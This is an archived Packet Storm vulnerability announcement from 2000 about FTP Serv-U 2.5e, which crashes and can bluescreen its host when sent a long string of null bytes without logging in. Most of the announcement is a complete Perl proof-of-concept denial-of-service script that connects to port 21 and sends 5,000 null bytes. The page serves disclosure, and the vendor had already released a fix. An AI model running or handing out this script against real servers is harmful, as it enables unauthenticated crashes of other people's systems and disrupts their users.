exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

servu25e.txt

servu25e.txt
Posted Aug 4, 2000
Authored by Blue Panda | Site bluepanda.box.sk

FTP Serv-U 2.5e for Windows will stack fault if sent a string containing a large number of null bytes. The system Serv-U is running on may become sluggish/unstable and eventually bluescreen. A valid user/pass combination is not required to take advantage of this vulnerability. Perl proof of exploit code included.

tags | exploit, perl
systems | windows
SHA-256 | 3b7e71c07f801ae031ed4432adb13b794ae79a828e784b4fce4045c0749b45b7

servu25e.txt

Change Mirror Download
=================================================================
Blue Panda Vulnerability Announcement: FTP Serv-U 2.5e
04/08/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=================================================================

Problem: Sending FTP Serv-U a string containing a large number of null bytes
will cause it to stack fault. The system Serv-U is running on may become
sluggish/unstable and eventually bluescreen. A valid user/pass combination is
not required to take advantage of this vulnerability.

Vulnerable: FTP Serv-U 2.5e, possibly prior versions (untested).
Immune: FTP Serv-U 2.5f.

Vendor status: Notified. A fix has been released.

===================
Proof of concept:
===================

#!/usr/bin/perl
#
# FTP Serv-U 2.5e denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Crashes FTP Serv-U 2.5e by sending it a string of null bytes.
#

use IO::Socket;

$host = "ftp.host.com";
$port = "21";

print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

$counter = 0;
$buf = "";
while ($counter < 5000) {
$buf .= "\x00";
$counter += 1;
}
print $socket "$buf\n";

sleep(4);
close($socket);

Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close